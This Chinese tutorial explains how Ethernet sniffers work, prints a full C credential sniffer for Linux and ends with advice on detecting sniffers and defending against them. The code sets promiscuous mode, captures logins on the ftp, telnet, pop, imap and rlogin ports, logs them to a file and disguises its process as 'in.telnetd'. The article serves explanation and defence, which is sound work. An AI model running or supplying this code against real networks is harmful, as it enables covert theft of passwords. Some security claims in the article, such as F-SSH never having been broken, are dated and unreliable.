SNIFF原理解析

　　Sniffer是一种常用的收集有用数据方法，这些数据可以是用户的帐号和密码，可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解，第二节给出了一个sniffer的源程序，并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。

　　第一节　Sniffer简介

　　什么是以太网sniffing?

　　以太网sniffing 是指对以太网设备上传送的数据包进行侦听，发现感兴趣的包。如果发现符合条件的包，就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。

　　它的目的是将网络层放到promiscuous模式，从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听，并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍，可以知道：一个设备要向某一目标发送数据时，它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。

　　利用这一点，可以将一台计算机的网络连接设置为接受所有以太网总线上的数据，从而实现sniffer。

　　sniffer通常运行在路由器，或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统，然后使用sniffer这种攻击手段，以便得到更多的信息。

　　sniffer除了能得到口令或用户名外，还能得到更多的其他信息，比如一个其他重要的信息，在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。

　　有许多运行与不同平台上的sniffer程序。

　　Linux tcpdump、DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack

　　上面的这些程序，可以从互连网上找到。

　　使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序，根本就不能从大量的数据中找出需要的信息。

　　通常sniffer程序只看一个数据包的前200-300个字节的数据，就能发现想口令和用户名这样的信息。

　　第二节　一个sniffer源程序

　　下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。

　　/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　#include

　　int openintf(char *);

　　int read_tcp(int);

　　int filter(void);

　　int print_header(void);

　　int print_data(int, char *);

　　char *hostlookup(unsigned long int);

　　void clear_victim(void);

　　void cleanup(int);

　　struct etherpacket

　　{

　　struct ethhdr eth;

　　struct iphdr ip;

　　struct tcphdr tcp;

　　char buff[8192];

　　}ep;

　　struct

　　{

　　unsigned long saddr;

　　unsigned long daddr;

　　unsigned short sport;

　　unsigned short dport;

　　int bytes_read;

　　char active;

　　time_t start_time;

　　} victim;

　　struct iphdr *ip;

　　struct tcphdr *tcp;

　　int s;

　　FILE *fp;

　　#define CAPTLEN 512

　　#define TIMEOUT 30

　　#define TCPLOG "tcp.log"

　　int openintf(char *d)

　　{

　　int fd;

　　struct ifreq ifr;

　　int s;

　　fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

　　if(fd <0)

　　{

　　perror("cant get SOCK_PACKET socket");

　　exit(0);

　　}

　　strcpy(ifr.ifr_name, d);

　　s=ioctl(fd, SIOCGIFFLAGS, &ifr);

　　if(s <0)

　　{

　　close(fd);

　　perror("cant get flags");

　　exit(0);

　　}

　　ifr.ifr_flags |= IFF_PROMISC;

　　s=ioctl(fd, SIOCSIFFLAGS, &ifr);

　　if(s <0) perror("can not set promiscuous mode");

　　return fd;

　　}

　　int read_tcp(int s)

　　{

　　int x;

　　while(1)

　　{

　　x=read(s, (struct etherpacket *)&ep, sizeof(ep));

　　if(x > 1)

　　{

　　if(filter()==0) continue;

　　x=x-54;

　　if(x <1) continue;

　　return x;

　　}

　　}

　　}

　　int filter(void)

　　{

　　int p;

　　p=0;

　　if(ip->protocol != 6) return 0;

　　if(victim.active != 0)

　　if(victim.bytes_read > CAPTLEN)

　　{

　　fprintf(fp, " ----- [CAPLEN Exceeded] ");

　　clear_victim();

　　return 0;

　　}

　　if(victim.active != 0)

　　if(time(NULL) > (victim.start_time + TIMEOUT))

　　{

　　fprintf(fp, " ----- [Timed Out] ");

　　clear_victim();

　　return 0;

　　}

　　if(ntohs(tcp->dest)==21) p=1; /* ftp */

　　if(ntohs(tcp->dest)==23) p=1; /* telnet */

　　if(ntohs(tcp->dest)==110) p=1; /* pop3 */

　　if(ntohs(tcp->dest)==109) p=1; /* pop2 */

　　if(ntohs(tcp->dest)==143) p=1; /* imap2 */

　　if(ntohs(tcp->dest)==513) p=1; /* rlogin */

　　if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

　　if(victim.active == 0)

　　if(p == 1)

　　if(tcp->syn == 1)

　　{

　　victim.saddr=ip->saddr;

　　victim.daddr=ip->daddr;

　　victim.active=1;

　　victim.sport=tcp->source;

　　victim.dport=tcp->dest;

　　victim.bytes_read=0;

　　victim.start_time=time(NULL);

　　print_header();

　　}

　　if(tcp->dest != victim.dport) return 0;

　　if(tcp->source != victim.sport) return 0;

　　if(ip->saddr != victim.saddr) return 0;

　　if(ip->daddr != victim.daddr) return 0;

　　if(tcp->rst == 1)

　　{

　　victim.active=0;

　　alarm(0);

　　fprintf(fp, " ----- [RST] ");

　　clear_victim();

　　return 0;

　　}

　　if(tcp->fin == 1)

　　{

　　victim.active=0;

　　alarm(0);

　　fprintf(fp, " ----- [FIN] ");

　　clear_victim();

　　return 0;

　　}

　　return 1;

　　}

　　int print_header(void)

　　{

　　fprintf(fp, " ");

　　fprintf(fp, "%s => ", hostlookup(ip->saddr));

　　fprintf(fp, "%s [%d] ", hostlookup(ip->daddr), ntohs(tcp->dest));

　　}

　　int print_data(int datalen, char *data)

　　{

　　int i=0;

　　int t=0;

　　victim.bytes_read=victim.bytes_read+datalen;

　　for(i=0;i != datalen;i++)

　　{

　　if(data[i] == 13) { fprintf(fp, " "); t=0; }

　　if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

　　if(t > 75) {t=0;fprintf(fp, " ");}

　　}

　　}

　　main(int argc, char **argv)

　　{

　　sprintf(argv[0],"%s","in.telnetd");

　　s=openintf("eth0");

　　ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

　　tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

　　signal(SIGHUP, SIG_IGN);

　　signal(SIGINT, cleanup);

　　signal(SIGTERM, cleanup);

　　signal(SIGKILL, cleanup);

　　signal(SIGQUIT, cleanup);

　　if(argc == 2) fp=stdout;

　　else fp=fopen(TCPLOG, "at");

　　if(fp == NULL) { fprintf(stderr, "cant open log ");exit(0);}

　　clear_victim();

　　for(;;)

　　{

　　read_tcp(s);

　　if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

　　fflush(fp);

　　}

　　}

　　char *hostlookup(unsigned long int in)

　　{

　　static char blah[1024];

　　struct in_addr i;

　　struct hostent * he;

　　i.s_addr=in;

　　he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

　　if(he == NULL)

　　strcpy(blah, inet_ntoa(i));

　　else

　　strcpy(blah,he->h_name);

　　return blah;

　　}

　　void clear_victim(void)

　　{

　　victim.saddr=0;

　　victim.daddr=0;

　　victim.sport=0;

　　victim.dport=0;

　　victim.active=0;

　　victim.bytes_read=0;

　　victim.start_time=0;

　　}

　　void cleanup(int sig)

　　{

　　fprintf(fp, "Exiting... ");

　　close(s);

　　fclose(fp);

　　exit(0);

　　}

　　下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr，iphdr，和tcphdr分别是三个结构，用来定义以太网帧，IP数据包头和TCP数据包头的格式。

　　它们在头文件中的定义如下：

　　struct ethhdr

　　{

　　unsigned char h_dest[ETH_ALEN]; /* destination eth addr */

　　unsigned char h_source[ETH_ALEN]; /* source ether addr */

　　unsigned short h_proto; /* packet type ID field */

　　};

　　struct iphdr

　　{

　　#if __BYTE_ORDER == __LITTLE_ENDIAN

　　u_int8_t ihl:4;

　　u_int8_t version:4;

　　#elif __BYTE_ORDER == __BIG_ENDIAN

　　u_int8_t version:4;

　　u_int8_t ihl:4;

　　#else

　　#error "Please fix < bytesex.h>"

　　#endif

　　u_int8_t tos;

　　u_int16_t tot_len;

　　u_int16_t id;

　　u_int16_t frag_off;

　　u_int8_t ttl;

　　u_int8_t protocol;

　　u_int16_t check;

　　u_int32_t saddr;

　　u_int32_t daddr;

　　/*The options start here. */

　　};

　　struct tcphdr

　　{

　　u_int16_t source;

　　u_int16_t dest;

　　u_int32_t seq;

　　u_int32_t ack_seq;

　　#if __BYTE_ORDER == __LITTLE_ENDIAN

　　u_int16_t res1:4;

　　u_int16_t doff:4;

　　u_int16_t fin:1;

　　u_int16_t syn:1;

　　u_int16_t rst:1;

　　u_int16_t psh:1;

　　u_int16_t ack:1;

　　u_int16_t urg:1;

　　u_int16_t res2:2;

　　#elif __BYTE_ORDER == __BIG_ENDIAN

　　u_int16_t doff:4;

　　u_int16_t res1:4;

　　u_int16_t res2:2;

　　u_int16_t urg:1;

　　u_int16_t ack:1;

　　u_int16_t psh:1;

　　u_int16_t rst:1;

　　u_int16_t syn:1;

　　u_int16_t fin:1;

　　#else

　　#error "Adjust your < bits/endian.h> defines"

　　#endif

　　u_int16_t window;

　　u_int16_t check;

　　u_int16_t urg_ptr;

　　};

　　上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来，定义了一个结构变量victim。

　　随后，看一下函数int openintf(char *d)，它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中，用到了下面的结构：

　　struct ifreq

　　{

　　#define IFHWADDRLEN 6

　　#define IFNAMSIZ 16

　　union

　　{

　　char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */

　　} ifr_ifrn;

　　union

　　{

　　struct sockaddr ifru_addr;

　　struct sockaddr ifru_dstaddr;

　　struct sockaddr ifru_broadaddr;

　　struct sockaddr ifru_netmask;

　　struct sockaddr ifru_hwaddr;

　　short int ifru_flags;

　　int ifru_ivalue;

　　int ifru_mtu;

　　struct ifmap ifru_map;

　　char ifru_slave[IFNAMSIZ]; /* Just fits the size */

　　__caddr_t ifru_data;

　　} ifr_ifru;

　　};

　　这个结构叫接口请求结构，用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数，这个参数以ifr_name开头，后面的参数根据使用不同的网络接口而不同。

　　如果你要看看你的计算机有哪些网络接口，使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里，程序将eth0作为ifr_name来使用的。接着，该函数将这个网络接口设置成promiscuous模式。请记住，sniffer是工作在这种模式下的。

　　再看一下函数read_tcp，它的作用是读取TCP数据包，传给filter处理。Filter函数是对上述读取的数据包进行处理。

　　接下来的程序是将数据输出到文件中去。

　　函数clearup是在程序退出等事件时，在文件中作个记录，并关闭文件。否则，你刚才做的记录都没了。

　　第三节　怎样在一个网络上发现一个sniffer

　　简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。

　　只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠，但你可以控制哪个程序可以在你的计算机上运行。

　　在Unix系统下使用下面的命令：

　　ps -aux

　　或：

　　ps -augx

　　这个命令列出当前的所有进程，启动这些进程的用户，它们占用CPU的时间，占用内存的多少等等。在Windows系统下，按下Ctrl+Alt+Del，看一下任务列表。不过，编程技巧高的Sniffer即使正在运行，也不会出现在这里的。另一个方法就是在系统中搜索，查找可怀疑的文件。但可能入侵者用的是他们自己写的程序，所以都给发现sniffer造成相当的困难。

　　还有许多工具，能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。

　　怎样防止被sniffer

　　要防止sniffer并不困难，有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。

　　你最关心的可能是传输一些比较敏感的数据，如用户ID或口令等等。有些数据是没有经过处理的，一旦被sniffer，就能获得这些信息。解决这些问题的办法是加密。

　　加密

　　我们介绍以下SSH，它又叫Secure Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后，接下来的通信数据是用IDEA技术来加密的。这通常是较强的 ，适合与任何非秘密和非经典的通讯。

　　SSH后来发展成为F-SSH，提供了高层次的，军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。

　　如果某个站点使用F-SSH，用户名和口令成为不是很重要的一点。目前，还没有人突破过这种加密方法。即使是sniffer，收集到的信息将不再有价值。当然最关键的是怎样使用它。

　　SSH和F-SSH都有商业或自由软件版本存在。NT are available.

　　还有其他的方法吗？

　　另一个比较容易接受的是使用安全拓扑结构。这听上去很简单，但实现是很花钱的。

　　玩过一种智力游戏吗，它通常有一系列数字组成。游戏的目的是要安排好数字，用最少的步骤，把它们按递减顺序排好。当处理网络拓扑时，就和玩这个游戏一样。

　　下面是一些规则：

　　一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计，而不是硬件需要。

　　这就建立了，让我们来看看。第一点：一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里，或在同一个办公室里。比如你的财务信息，应该固定在建筑的一部分。

　　注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了，数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。

　　所有的问题都归结到信任上面。计算机为了和其他计算机进行通信，它就必须信任那台计算机。作为系统管理员，你的工作是决定一个方法，使得计算机之间的信任关系很小。这样，就建立了一种框架，你告诉你什么时候放置了一个sniffer，它放在那里了，是谁放的等等。

　　如果你的局域网要和INTERNET相连，仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描，并探测正在运行的服务。你要关心的是一旦入侵者进入系统，他能得到些什么。你必须考虑一条这样的路径，即信任关系有多长。举个例子，假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢？用一句话，就是确定最小信任关系的那台计算机。在信任关系中，这台计算机之前的任何一台计算机都可能对你的计算机进行攻击，并成功。你的任务就是保证一旦出现的sniffer，它只对最小范围有效。

　　Sniffer往往是攻击者在侵入系统后使用的，用来收集有用的信息。因此，防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试，防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住，许多攻击往往来自网络内部。